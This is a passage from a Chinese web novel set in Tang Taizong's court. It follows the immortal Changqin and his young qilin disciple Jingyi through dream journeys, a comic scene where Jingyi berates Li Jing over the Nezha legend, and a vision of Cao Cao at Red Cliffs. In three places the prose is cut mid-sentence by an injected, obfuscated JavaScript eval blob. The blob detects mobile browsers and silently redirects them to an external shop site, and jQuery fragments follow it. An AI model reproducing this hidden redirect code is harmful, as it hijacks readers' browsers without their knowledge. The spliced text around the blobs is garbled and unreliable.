“回去再说。”长琴打断他,声音已恢复平静,但余威犹在。他看向丽质和李治。
两个孩子经历了瞬移、山海雪漠的奇景,又目睹了神仙伯伯被神仙师父揍得乱跑,信息量过大,此刻都有些呆呆的。
丽质紧紧拉着李治的手,小脸发白。李治则仰头看着长琴,忽然打了个小小的哈欠,揉揉眼睛,往姐姐身上靠去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114028|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
长琴眸光微凝。他伸出指尖,极轻地在三个孩子眉心拂过。
一缕宁神清心、兼有模糊近期记忆之效的灵力温柔注入,确保他们不会因此番经历留下惊悸,对这段匪夷所思的“旅行”也只会留下做了个很长的、有趣的梦的模糊印象。
就在他的灵力拂过李治眉心的刹那,长琴的动作几不可察地顿了顿。
在那一闪而逝的感知中,李治那尚且微弱、与其他皇子无异的皇家气运深处,似乎……
那感觉极其隐晦,如深水微澜,若非他此刻灵力探入细致,又恰逢李治经历时空跳跃后气运略有浮动,绝难察觉。
不似李世民的开创霸烈,也非李承乾的明亮易折。那是一种更能承压、更懂得在复杂局势中蜿蜒前行,或许也更能守成的气息。
长琴眼底掠过一丝若有所思的微光,但旋即收敛。无论如何,这孩子眼下只是个体弱的稚童,是此次荒唐事件的受害者之一。
他不再耽搁,袍袖一卷,清光笼罩住三个孩子。
下一刻,凝云轩,空间微微荡漾,四人身影悄然浮现,仿佛从未离开。只有那只鹦鹉,终于学会了说“师父最好”。
远处,提心吊胆了仿佛一个世纪的嬷嬷宫女们,只觉眼前一花,就看到公主、九皇子和景颐小郎君好端端地站在原处,只是神色有些困倦,那位突然出现的青衣仙长也立在旁边,面色清冷如常。
“殿下……”嬷嬷们慌忙上前。
“无碍。”长琴淡然道,“孩子们玩累了,带他们回去歇息吧。今日之事,不必多言。”
他的话语带着令人心安的力量。嬷嬷们虽觉古怪,却也不敢多问,连忙领着呵欠连连的丽质和李治告退。
长琴则又一次加固结界,牵着景颐,进入主室,这才看向徒弟。
景颐缩了缩脖子,举起手里一直攥着的东西。
那是霄溜走前,偷偷塞进他手里的一枚暖金色的、边缘有天然云纹的鳞片,只有指甲盖大小,触手生温,隐有流光。
“师父……爹给的。”景颐小声说,把鳞片递过去。
长琴接过鳞片,指尖摩挲着那熟悉的纹路与气息,心中百感交集。怒意未消,却又有一丝久别重逢的暖意,更多的是一种果然如此的深深无力感。
他将鳞片收好,看着景颐:“可知错?”
“颐儿错了……”景颐低头,“不该跟爹乱跑,让师父担心。”
“非只为此。”长琴声音肃然,
“你父行事跳脱,不顾后果。你身为麒麟,又随我修心,当知‘分寸’二字。丽质与雉奴乃凡俗孩童,肉身孱弱,魂灵未固,时空穿梭之力,于他们犹如巨浪行舟,稍有差池,便是魂飞魄散之祸。纵有你父看护,此等行径,亦是大险。你当时为何不拒?为何不唤为师?”
景颐被问得哑口无言,他当时只觉得好玩、亲切,哪想过这么多。
“今日起,抄写《清静经》十遍。何时抄完,何时再出凝云轩。”
长琴下了惩戒,又补充道,“那鳞片,为师暂为你保管。其上附有你父一缕神念,危急时或可护身,但平日不可妄动。”
“是,师父。”景颐乖乖应下,知道这次师父是真生气了。
夜深人静,景颐在灯下不情愿地开始抄经。长琴独坐廊下,望着掌心那枚暖金鳞片,神识轻轻探入。
鳞片中传来霄那依旧没心没肺、却带着一丝讨好的神念留言:
【琴兄莫怪莫怪!实在想我儿了!顺便带他朋友见见世面,绝对安全!我办事你放心!对了,云游至东海归墟之畔,听见水下有老蛟吟唱,调子古拙悲凉,似与你寻的鸣岐之韵有三分像,但混杂了太多湮灭死气,听不真切。你自己当心,那地方邪性。还有下次回来给你带好酒赔罪!——霄】
信息杂乱,却关键。长琴收起鳞片,望向东方。
归墟,死气缠绕的古调……
他揉了揉眉心。好友的“礼物”,总是这样,伴随着巨大的麻烦和一丝珍贵的情报。
轩外,虫鸣不绝。
而那个在沙漠夕照中被长琴偶然窥见一丝特异气运的小小九皇子,此刻正躺在柔软床榻上,沉入一场有大海、白雪、金沙和温暖光芒的、漫长而安宁的梦境。
19. 第 19 章
长琴回了流云境。
一是景颐那不靠谱的爹留下的鳞片与信息,需仔细参详。二是那日沙漠中探查到的李治身上那丝异样的气运,让他隐约觉得,或许该回天界查阅些更古老的记载。
他将景颐托与帝后时,只道:“短则三两日,长不过旬月。颐儿顽劣,有劳陛下与皇后多加看顾。”
李世民自是满口应承。自梦见观音婢后,他对景颐的看顾,于公于私都更添了一层慎重。长孙皇后更是直接将景颐的日常起居,大半纳入了立政殿的照管之下。
这日午后,李世民在两仪殿偏殿批阅奏章。景颐则被特许在殿内另一侧,摆弄一套新得的、精巧无比的鲁班锁。
李世民允他在此,一是安全,二是这孩子玩得投入时,殿内会格外安静,只余下细微的机关咬合声,反而让他批阅奏章时心神更易集中。
秋日的乏意,在一片寂静中,悄然袭来。
景颐摆弄着最后几个榫卯,眼皮开始打架。他晃了晃脑袋,抱着还没解开的鲁班锁,蹭到李世民御案旁铺着软垫的宽大脚踏上,寻了个舒服的姿势,很快便呼吸均匀,沉入梦乡。
李世民看完最后一份关于漕运的条陈,搁下朱笔,揉了揉发胀的额角。目光落在脚踏上那小小一团,不由莞尔。
他示意宫人取过一件自己的薄绸披风,随即轻轻盖在孩子身上。
就在他指尖无意间拂过景颐额发的刹那,一阵轻微的眩晕感袭来。
不是上次那种被强行拖入战火或病榻的剧烈冲击,更像一脚踏空,坠入一片五光十色的、流动的雾气中。他心中一惊,立刻意识到,又来了。
雾气散去,脚落实地。
他发现自己站在一条陌生的街道上。依然是旁观者的状态,身边的景颐也显出了小小的、半透明的身影,正揉着眼睛,好奇地打量四周。
这里不是长安。
街道似乎更窄,但异常繁华。两侧店铺鳞次栉比,招牌幌子密密麻麻,许多是用通俗易懂的白话写成,甚至配有简单的图画。
卖布的、沽酒的、售书的、售药的……人流如织,男女老幼衣着与唐时大异,男子多穿直身或道袍,女子衣衫色彩更为多样,式样也似乎简便了些。
最让李世民惊讶的是,他竟看到不少寻常百姓打扮的人,在书摊前驻足翻看,或指着招牌上的字低声议论。
甚至有个挑着担子的货郎,一边走一边看着手里一张印满字的纸。
“此地……”李世民喃喃,心中震撼,“百姓识字者,竟如此之多?”
他治下的贞观,大力推行教化,国子监、州县学皆有所兴,但识字读书,终究仍是士子与富家子弟的专利。
可眼前这熙攘街市中,那股弥漫在空气里的、属于文字与阅读的气息,竟如此普遍而鲜活。
这绝非短短数十年能成。此地,恐怕离他的大唐,已不知隔了多少岁月。
正思忖间,一阵中气十足、极富韵律的说唱声,夹杂着清脆的醒木拍案声,从街角一处颇为热闹的茶肆里传来:
“……上一回书说到,那陈塘关总兵李靖,夫人怀胎三年零六个月,生下一个肉球!李靖大惊,一剑劈去——”
“李靖?” 景颐耳朵尖,立刻捕捉到这个熟悉的名字,也忘了自己是在梦里,拉着李世民衣袖,“李叔叔!是李将军!”
李世民也凝神听去。李靖?陈塘关总兵?这官职闻所未闻。他示意景颐噤声,两人如两道游魂,飘入茶肆。
只见堂内坐满了茶客,男女老少皆有,一个个仰着头,听得入神。说书的是个精瘦老者,山羊胡,声音洪亮,手舞足蹈:
“那肉球滴溜溜滚开,跳出一个遍体红光、面如傅粉的小娃儿,右手套个金镯,肚皮上围块红绫,满地乱跑,口称‘爹爹’!诸位,你道这是何物?正是那灵珠子转世,日后大闹东海、抽龙筋、揭龙鳞的哪吒三太子是也!”
“哪吒?”景颐茫然重复,他从未听过这名号。
但说书人口沫横飞,情节离奇,已牢牢抓住了他的注意力。茶客们发出阵阵惊叹嘘声,氛围热烈。
李世民也觉匪夷所思。这故事荒诞不经,但说书人讲得活灵活现,茶客听得如痴如醉,仿佛确有其事。他按捺疑惑,继续听去。
说书人舌灿莲花,将那哪吒如何闹海戏水、误伤巡海夜叉、打死龙王三太子敖丙、抽龙筋做绦子……讲得一波三折。
又讲到四海龙王水淹陈塘关,逼李靖交出哪吒。哪吒为救全城百姓,不累父母,当场剔骨还父,割肉还母,自戕而亡!魂魄飘往乾元山。
听到此处,楼内一片唏嘘。
景颐已是眼圈通红,小拳头攥得紧紧的。他虽然不太懂剔骨还□□体何等惨烈,但那为救百姓不连累爹娘自己死掉的意思他听明白了,只觉得心里又难过又憋闷,为那个叫哪吒的小娃娃委屈极了。
“列位!”说书人醒木再拍,声音陡然转厉,
“可恨那李靖,胆小怕事,薄情寡义!哪吒孩儿为他闯祸,为他偿命,魂魄方得安息,他非但不思悔改,反惧龙王迁怒,竟不准百姓祭祀,还将哪吒行宫打烂,神像推倒,香火断绝!如此行径,岂配为人父乎?!”
“混账!”“忒也无情!”茶客们群情激愤,拍案叫骂。
景颐脑子里“嗡”的一声!
先前对哪吒的同情,瞬间化为熊熊怒火,直冲天灵盖!他从未如此生气过!那个李靖!他怎么可以这样!哪吒都死了,都还了骨头和肉了,他还要毁他的庙,不让人祭拜!这已经不是坏爹爹了,这是、这是比抢雉奴糕点的恶鹦鹉还坏一万倍!
他气得浑身发抖,透明的身影都微微波动,转头对李世民急道:“李叔叔!你听到了吗!李将军他、他怎么这么坏!哪吒太可怜了!”
李世民眉头紧锁。这故事越听越奇,其中伦理悖乱,令他这帝王也觉不适。他正待开口,说书人已再度高举醒木,声音拔到最高,语速如急雨:
“哪吒魂魄无依,怒火冲天!得师父太乙真人以莲花荷叶重塑身形,赐下火尖枪、风火轮、乾坤圈、混天绫,下山便要寻那李靖,讨个公道!正是:前生债,今生仇,父子反目成寇雠!”
“啪!!!”
就在这千钧一发、所有人都屏住呼吸等着看哪吒如何教训李靖的终极时刻,梦境毫无征兆地、像一面被重锤
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114029|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
击碎的琉璃,“哗啦”一声彻底崩散!
两仪殿偏殿。
李世民猛然睁眼,窗外虫鸣聒噪,阳光将御案一角晒得发烫。他定了定神,首先侧头看向脚踏。
景颐也几乎同时惊醒。
孩子显然还完全被困在那戛然而止、憋屈到极点的梦境情绪里。
他猛地坐直了身子,小脸涨得通红,胸口剧烈起伏,眼睛里蓄满了未散的怒火和为哪吒鸣不平的急切水光。
他嘴唇哆嗦着,无意识地重复:“……坏……太坏了……怎么能这样……”
“景颐?”李世民唤他,声音带着刚醒的微哑,试图将孩子拉回现实。
景颐闻声,茫然地转过头。他看到李世民,又看看周围熟悉的宫殿,愣了一瞬。
但梦境最后那声醒木的炸响,说书人控诉的语气,茶客们的怒骂,尤其是李靖打烂哪吒庙的画面感,太过鲜明强烈,瞬间压倒了刚刚回归的现实感。
那不是听说的故事,那是他刚刚亲眼看到、亲耳听到的正在发生的恶行!
就在此时,殿外传来内侍清晰平稳的通传:
“启禀陛下,兵部尚书、卫国公李靖,奉召于殿外候见。”
“李靖”二字,如同投入烈火的热油。
景颐本就不清醒的脑子一下子被点燃。
所有的困惑、迷糊,被一股纯粹、炽烈、源于童稚本能的路见不平的怒火彻底焚烧殆尽。
景颐“噌”地一下从脚踏上跳起来,连怀里的鲁班锁掉了都顾不上,像个小炮弹,“噔噔噔”就朝殿门方向冲去!
“景颐!不可!”李世民一惊,起身欲拦。
晚了。
偏殿门被轻轻推开,一身紫色绣狮补子朝服、面容沉静、正准备按礼制躬身入内的卫国公李靖,刚迈过门槛,就觉一道裹挟着怒气的月白色小影子,“呼”地一下冲到面前,拦住了去路。
李靖脚步倏停,低头。
只见那位深得帝后宠爱、颇有些奇异处的景颐小郎君,正仰着一张气得通红、几乎要哭出来的小脸,那双总是灵动好奇的眼眸里,此刻燃烧着赤裸裸的、仿佛看十恶不赦之徒般的愤怒与谴责。
孩子小小的胸膛急剧起伏,伸出小手指,颤抖着指向他,用尽全力、字字泣血般地尖声质问道:
“李将军!你为什么这么坏!为什么要逼死你自己的儿子哪吒!他都把骨头和肉还给你了!你还要烧他的房子和拆他的庙!你、你是个不讲道理的坏爹爹!我要告诉师父!告诉大姐姐!让他们都不理你!让大家都不和你玩!”
稚嫩的童音响彻偏殿,余音袅袅。
李靖:“……”
他脸上的肃穆瞬间冻结,化为一片纯粹的、极致的茫然。
他维持着半躬身的姿势,看了看眼前义愤填膺的小豆丁,又缓缓抬起眼,看向御案后那位以手扶额、肩膀可疑地微微抽动、似乎正在极力忍耐着什么的陛下。
这位一生经历无数大风大浪、算计过敌国、指挥过千军万马的军神,此刻脑中只剩下一个巨大的、盘旋的问号:
……哪吒?谁?
我儿子?逼死?剔骨还肉?
20. 第 20 章
案后,大唐天子李世民,已经重新坐回了龙椅。
他一只手死死攥着拳抵在唇边,肩膀耸动,额头青筋隐隐跳动,整张脸憋得通红,显然是动用了毕生的帝王修为,才勉强将那即将冲破喉咙的、惊天动地的爆笑给死死摁了回去。
陛下此刻的表情,比任何军情急报都让李靖感到匪夷所思,且隐隐有不祥的预感。
李靖深吸一口气,迫使自己冷静。他重新看向眼前这位显然情绪失控的小贵人,试图理解这匪夷所思的指控。
他斟酌着词语,用尽可能温和、清晰,且确保陛下也能听清的声音,一字一句地、困惑至极地缓缓问道:
“景颐小郎君,且先息怒,敢问……”
“哪吒,是谁?”
“在下只有德謇、德奖二子,此刻皆在府中安好,并无名唤哪吒者。”
“至于逼死、剔骨还肉、拆庙……”
这位为大唐立下不世之功的军神,此刻的语气里,充满了真诚的、纯粹的、百思不得其解的困惑,以及一丝几乎要满溢出来的无辜:
“在下,近日连府中祠堂都未曾踏入修缮,更遑论拆毁他人庙宇,小郎君,是否认错了人?”
李靖那真诚到近乎无辜的困惑,像一瓢冰水,兜头浇在景颐熊熊燃烧的怒火上,滋啦冒起一阵茫然的青烟。
孩子愣住了,小脸上的愤怒凝固,转为一种你怎么能不知道的难以置信和更深的憋屈。
他张了张嘴,想再说“我明明看见了”,可看着李靖那双写满我完全不明白你在说什么的、严肃又困惑的眼睛,再看看御案后李叔叔那副快要憋出内伤、肩膀抖得像风中落叶的模样,一股更大的委屈涌了上来。
“你、你骗人!”景颐的指控带上了哭腔,但他自己也说不出更多证据了,只能重复,“你就是干了!我看见了!”
殿内侍立的内侍和门口当值的侍卫,此刻个个低眉垂目,仿佛化作了没有呼吸的泥塑木雕。
只是那微微抽动的眼角和紧绷的嘴角,泄露了他们正在经历何等艰难的表情管理修行。
有个年轻的内侍实在没忍住,鼻腔里发出一声极轻的、被强行扭曲的“吭哧”声,立刻被旁边年长的同伴用眼神狠狠剜了一下。
李世民终于从那种濒临爆笑的窒息边缘缓过一口气。他重重咳嗽了几声,借以掩饰喉咙里的笑意,整了整神色,努力让自己的声音听起来威严且正常。
“景颐,不得无礼。”他声音微沉,目光先扫过景颐,“李卿乃国之柱石,岂会行此荒诞之事?你定是方才睡魇着了,将梦中幻影当了真。”
随即,他看向依旧保持着行礼姿态、满脸写着臣需要一个解释的李靖,语气放缓,带上一丝不易察觉的、混合着调侃与安抚的意味:“药师,且平身。此事……说来有些荒唐。”
李靖直起身,目光沉静地望向皇帝,等待下文。他戎马半生,什么阵仗没见过?但被一个孩童指着鼻子骂坏爹爹、拆庙恶人,这还真是开天辟地头一遭。
李世民斟酌着词句,尽量将此事解释得既维护李靖尊严,又能让景颐接受:
“景颐年幼,心思单纯。方才我与他于此小憩,或许沾染了些许旧物气息,入了异梦。梦中见闻光怪陆离,有一演义,其中大将,姓名恰与卿相同,行事……嗯,颇为特异,引得景颐义愤填膺。方才醒来,神思未清,又恰闻卿至,故有此误会。”
景颐听着李叔叔的解释,小眉头皱得紧紧的。
“梦?”
他低头看看自己的手,又看看一脸严肃且无辜的李靖将军,再回想梦里茶楼的热闹和说书人的激昂……
好像,真的是梦?可是感觉那么真……
李靖何等人物,立刻抓住了关键:“陛下之意是,小郎君梦中所闻,乃有人假托臣之名,编撰之离奇故事?”
“大抵如此。”李世民点头,唇角又忍不住微微上扬,“故事中,卿为陈塘关总兵,有一子名哪吒,乃灵珠转世,闹海弑龙,后剔骨还父。情节跌宕,引人入胜,只是其中父子伦常,与卿平生素行,可谓南辕北辙。”
他特意强调了平生素行,算是为李靖正名。
李靖闻言,沉默了。片刻后,他竟轻轻叹了口气,那叹息里混杂着荒谬、无奈,以及一丝极淡的、对于身后名竟以如此匪夷所思方式被演义的感慨。
他再次向李世民躬身:“原来如此。臣,明白了。”
随即,他转向依旧气鼓鼓又有些茫然的景颐,竟郑重其事地拱手,语气认真道:“景颐小郎君仗义执言,明辨是非,赤子之心,令人感佩。然此李靖确非臣下,其中冤屈,还望小郎君明察。”
这番以退为进、一本正经的澄清,配上他严肃无比的表情,反而让场面更添了几分难以言喻的滑稽。
景颐脸上的愤怒和指控,如同潮水般褪去,露出底下大片的茫然,然后迅速被一种更强烈的情绪覆盖——恍然大悟后的巨大尴尬和羞惭。
他……他好像真的弄错了。
李叔叔说那是梦,是故事。李将军说自己根本不认识哪吒,只有两个儿子。
而且,李将军看起来,一点也不像梦里那个会被茶客们一起骂的坏爹爹,他站得笔直,眼神虽然困惑却很正,跟师父有时候教训自己时的严肃有点像,但,不坏。
“真、真的不是将军你啊?”景颐最后小声确认了一遍,声音已经没了底气。
“千真万确。”李靖斩钉截铁,甚至又补充了一句,“臣府中后院,只有一处练箭的靶场,并无庙宇可拆。”
这句一本正经的补充,成了压垮景颐理直气壮的最后一根稻草。
景颐的小脸“唰”地一下红透了,连耳朵尖都染上了粉色。
他看看御案后嘴角还在可疑抽动的皇帝伯伯,再看看眼前一脸认真严肃等着自己回答的李靖将军,巨大的羞耻感和冤枉好人的愧疚感瞬间淹没了他。
下一秒,在李世民和李靖都没反应过来时,景颐一把抱住了李靖穿着朝服、有些硬邦邦的腿,把发烫的小脸埋在上面,闷声闷气、又快又急地喊:
“对不起!李将军!我错了!我不该没看清楚就骂你!你是好将军!不是坏爹爹!对不起对不起!”
喊完,他还不肯抬头,小脑袋在李靖腿上蹭了蹭,仿佛这样就能把刚才那些坏蛋、大坏蛋的指控给蹭掉。
李靖:“……”
这位身经百战的军神,身体几不可察地僵了一下。
腿上传来孩子温热的体温和柔软的触感,还有那闷声闷气却无比真诚的道歉。
一生面对过刀剑、阴谋、千军万马都未曾动摇的心绪,此刻竟被这突如其来的抱腿道歉弄得有些无措。
他下意识地想退开,又觉得不妥,想伸手摸摸孩子的头表示接受了,似乎又与场合身份不合。
他只好维持着笔挺的站姿,略显僵硬地低头,看着那颗埋在自己腿上的、毛茸茸的、发顶还有两个小鼓包的脑袋,向来沉静的声音里难得带上了一丝无奈的温和:
“……无妨。小郎君既知是误会,便好。”
“噗——哈哈哈哈!”御案后,终于再也忍不住的李世民,彻底破功,畅快淋漓的大笑声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17114030|195893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冲破了之前所有的忍耐,回荡在偏殿之中。
他一边笑,一边指着这对组合,对闻声忍不住偷看的内侍们道,“快、快记下来!卫国公李药师,两仪殿遭稚子抱腿鸣冤,后又获抱腿致歉……哈哈哈!此等奇景,当载入朕的私记!”
景颐听到皇帝伯伯的大笑,更羞了,抱着李靖腿的胳膊更紧了,仿佛这里能遮羞。
李靖感受着腿上的重量和陛下毫不留情的笑声,脸上那万年不变的严肃,终于裂开了一道细缝,化作一抹极其细微的、混合着无奈、好笑和一丝纵容的弧度。
经此一役,李将军的冤案算是当场昭雪,而卫国公李靖的腿上,大概也永远留下了某个小麒麟知错就改的温暖印记。
然而,事情并没有结束。
卫国公被景颐小郎君当殿质问是否为坏爹爹这等奇闻,如何能瞒得过宫中无处不在的耳目?
尤其当时殿内外尚有数名宫人侍卫,不过半日,这桩轶事便如同长了翅膀,在皇城有限的范围内,以一种心照不宣的方式悄然流传开来。
起初,还只是小郎君梦魇,错认卫国公的模糊说法。
但不知是哪位想象力丰富的仁兄,将梦魇里的哪吒联系上毗沙门天王之子哪吒,又添油加醋了几分,竟与后世流传所差无几。
于是,流言迅速演变为:
“卫国公李药师,被景颐小郎君梦中所见之前世恶行牵连,当殿遭斥逼死亲子、毁庙绝祀!”
细节越发栩栩如生,甚至衍生出“小郎君涕泪俱下,为那子鸣冤”,“卫国公百口莫辩,陛下抚案大笑”等多个版本。
几日后朝会,气氛便有些微妙。
文武百官鱼贯入殿,按班次站定。当李靖身着紫色朝服,面无表情、步履沉稳地走入武班前列时,无数道或好奇、或探究、或蕴含着难以言喻笑意的目光,悄无声息地落在他挺直的背脊上。
中书舍人岑文本,素来与李靖交好,趁陛下尚未升座,捻须低声笑道:“药师兄,听闻昨日两仪殿中,有一桩的公案?不知可需老夫代为斡旋一二?” 语气里的调侃几乎不加掩饰。
旁边几位大臣闻言,纷纷以袖掩口,肩膀微耸。
李靖目不斜视,只从鼻子里几不可闻地“嗯”了一声,淡淡道:“景仁说笑了。子虚乌有之事,何劳斡旋。”
然而,这并未阻止同僚们的“热情”。
下朝后,几位较为随性的武将围了上来。程知节嗓门洪亮,蒲扇般的大手拍在李靖肩上,哈哈笑道:
“好你个李药师!平日一副正人君子模样,没想到前世还是个总兵,连儿子都那般了得!改日也教教俺老程,如何生出这般本事的娃娃?啊?是不是有什么秘法?” 说罢,自己先笑得前仰后合。
尉迟敬德也捻着虬髯,故作沉思状:“陈塘关也不知在何处?改日得了空,定要去寻寻药师的前世府邸,看能否找到那莲花池子!”
连一向持重的房玄龄,在前往政事堂的路上遇见李靖,都忍不住含笑低声问了一句:“药师,可曾梦回陈塘关?”
李靖饶是定力过人,面对同僚们花样百出的调侃,额角青筋也不由得跳了几跳。他面沉如水,一律以“荒谬之言,不足挂齿”回应,脚步却比平日快了几分,只想尽快离开这是非之地。
这桩哪吒公案成了贞观四年秋天,大唐一个心照不宣的快乐源泉。
李靖走到哪里,似乎都能感受到身后那一道道憋着笑的目光。
连东宫之中,太子承乾从伴读那里听闻此事后,再见李靖授课时,眼神都多了几分奇异的好奇。
21. 第 21 章
九月,长安的暑气终于肯收敛几分锋芒,早晚的风里透出丝丝清爽。
御花园里的桂花开了第二茬,甜香被风卷着,悄悄溜进立正殿半开的窗棂。
凝云轩的翠竹尖梢已染上些许焦黄,阶下秋菊含苞。
长琴离宫已近两旬,他传回一缕极简的弦音讯息,只道“诸事渐安,归期未定,颐儿勿念”。
景颐倒不太念。他近来颇有些烦恼。
因前次哪吒公案闹了大笑话,他虽得了李将军宽容的谅解,还被大姐姐温柔开解了一番故事与真人的区别,心里总憋着股劲儿,觉得自己该更明理些。
这几日,他不再只缠着丽质和雉奴疯玩,竟主动央了大姐姐,磕磕绊绊认起《千字文》来。
只是每每念到“天地玄黄,宇宙洪荒”,脑子里便不由自主飘过爹爹带他看过的沧海雪原,心想那宇宙洪荒,是不是就像大漠落日那般壮阔又寂寞?
这日午后,秋阳暖融。李世民难得有半日清闲,未去两仪殿,只命内侍将一摞批阅过的奏章与几卷《三国志》注本搬到立政殿暖阁。
他斜倚在临窗的软榻上,就着明亮天光,重读魏武纪。
景颐挨着他坐在脚踏上,面前摊着本《千字文》,手里却无意识地把玩着李世民腰间的玉珠串,那光滑微凉的玉珠,在他指尖拨弄下发出细碎的、悦耳的撞击声。
暖阁内静谧,只闻书页翻动的沙沙声,玉珠轻响,以及炭火上银壶煮茶的咕嘟声。
李世民读至建安十三年,曹操下荆州、刘琮降、刘备败走、率军南下意欲一统……
这段历史他早已烂熟于心,此刻重读,心思却飘得更远。
他合上书卷,望向窗外庭院中开始飘落的梧桐叶,心中忽然涌起一股复杂难言的情绪。
那曹操,出身官宦,少机警,任侠放荡,于乱世中奋起,挟天子以令诸侯,扫灭群雄,至此时,拥兵数十万,据中原膏腴之地,文有荀彧郭嘉,武有张辽夏侯,其势之盛,几有囊括四海、并吞八荒之象。
此等人物,此等功业,与自己何其相似,又何其不同?
“设使天下无有孤,不知当几人称帝,几人称王。” ①
史书中曹操此言,其自负、其霸气、其睥睨天下又隐含无奈的心境,穿越数百年光阴,竟在此刻与他微妙共鸣。
“称帝……称王……”李世民无意识地低声重复,指尖轻轻敲击书卷。
巅峰之上,风光无限,然下一步,是踏云直上九霄,还是一步踏空,万劫不复?
曹操旋即有赤壁之败,那自己的“赤壁”呢?该当如何能避免此败?
他思绪翻腾,胸中既有对英雄事业的激赏与共鸣,亦有对历史无常的深沉戒惧。
这份强烈而复杂的追昔抚今之情,混杂着他身上那日益凝练磅礴的帝王气运,无形中形成了一股特殊的气场。
坐在他脚边、正拨弄玉珠的景颐,忽然停下了动作。
孩子觉得周遭的空气似乎变得浓稠了。
不是压抑,而是一种沉甸甸的、暖洋洋的,仿佛泡在温泉水里的感觉。
李叔叔身上,好像散发出一种看不见的、金色的光,把自己也裹了进去。
耳边似乎响起许多遥远的声音,有战马嘶鸣,有刀剑交击,有慷慨激昂的吟诵,也有沉重的叹息,混在一起,像一场盛大而混乱的合唱。
他茫然抬头,看向李世民。李叔叔正望着窗外出神,眉头微锁,侧脸在秋阳下显得格外深邃。
景颐忽然觉得心口有点热,一种难以言喻的冲动涌上来。
他想靠近些,听得更清楚些,看得更明白些,李叔叔在想什么?那些声音是谁的?
他不知不觉松开了珠串,小手轻轻搭在了李世民放在榻边的手背上。
指尖相触的刹那,仿佛有根无形的弦被重重拨响。
不再是之前几次如水纹荡开的晕眩,这一次的感觉更清晰、更有力,像被一股温和却不容抗拒的洪流卷起,投向一个早已在时光中定格、却因强烈的精神印记而依旧鲜活的方位。
暖阁的景象如水墨褪色。景颐感到自己小小的、半透明的身体被那金色的暖流包裹着,向前飞掠。
耳边那些混乱的合唱骤然清晰、汇聚,最终化为一种铺天盖地的、混合着江水腥气与雄浑男声吟咏的宏大交响!
脚下一实。
眼前豁然开朗!
没有茶楼,没有街市。他们站在一片无边无际的、灰蒙蒙的浩渺水面上。
不,是停在水中!
脚下是坚实厚重的木板,环顾四周,是如山峦般巍峨耸立的巨大船影,一艘连着一艘,以粗大的铁索连环相接,几乎铺满了整个江面。
船上旌旗招展,在带着湿气的夜风中猎猎作响,旗上赫然是个巨大的“曹”字。
夜空无云,一轮将满未满的明月高悬,清辉洒下,将连环战船、如林樯橹、还有远处影影绰绰的南岸山影,照得一片银白。江水在船隙间流淌,泛着碎银般的光。
“这、这是……”李世民纵然心志坚毅,也被这突如其来、磅礴到令人窒息的景象震得心神摇曳。
眼前这支水师的规模,若与他平灭辅公祏时所倚仗的大唐舟师相比,自然远远不及。
他亲睹过艨艟巨舰如移动山岳,楼船层叠似水上城阙,那才是真正的帝国水师气象。
然而,此刻心中涌起的,并非轻视,而是一种更为深沉、近乎喟叹的激赏。
“虽不及我朝百一之盛,”李世民心中暗忖,目光却灼灼生辉,仿佛穿透了时光,“然此等开创气象,披荆斩棘之勇,何其壮也!”
景颐则完全被这新奇壮阔的景象迷住了。他忘了害怕,瞪大眼睛,小嘴微张,指着那些高耸的楼船和船上密密麻麻、甲胄反射着月光的兵士:“李叔叔!好多大船!比我们看的龙舟还大!亮晶晶的!”
就在这时,一阵浑厚豪迈的大笑声自前方最大的楼船顶层传来。
那笑声极具穿透力,带着志得意满的畅快,瞬间压过了江风与波涛声。
李世民与景颐循声飘去。
只见那艘最为巨大的楼船顶层,已被布置成临时的宴饮之所。四周燃着粗如儿臂的巨烛,照得灯火通明。
数十名文武僚属依序而坐,皆着锦衣,面前案几上陈列酒肉。主位之上,一人按剑而立。
此人身材不高,却极雄壮,面皮微黑,细目长髯,身着锦袍,外罩赤色大氅。虽已年过五旬,顾盼之间,目光如电,一股睥睨天下的枭雄气度沛然莫御。
正是曹操,曹孟德。
他手持一柄长约丈余、通体黝黑、矛头闪着寒光的长槊。
此刻酒意已酣,他离席起身,横槊立于船头,望着江中月影,万船灯火,文武济济,忽觉豪情满怀,不可抑制。
“吾持此槊,破黄巾,擒吕布,灭袁术,收袁绍,深入塞北,直抵辽东,纵横天下,颇不负大丈夫之志也!” ②
声若洪钟,在江面上回荡。文武皆屏息聆听,目露敬服。
景颐虽听不懂那些具体事迹,却深深被这气氛感染。他觉得这位黑胡子爷爷好威风!说的话好有力量!比说书先生讲的还带劲!
他忍不住也跟着挺起小胸脯,仿佛自己也能纵横天下似的,还兴奋地扯了扯李世民的袖子,激动地说:“李叔叔!这个爷爷好厉害!”
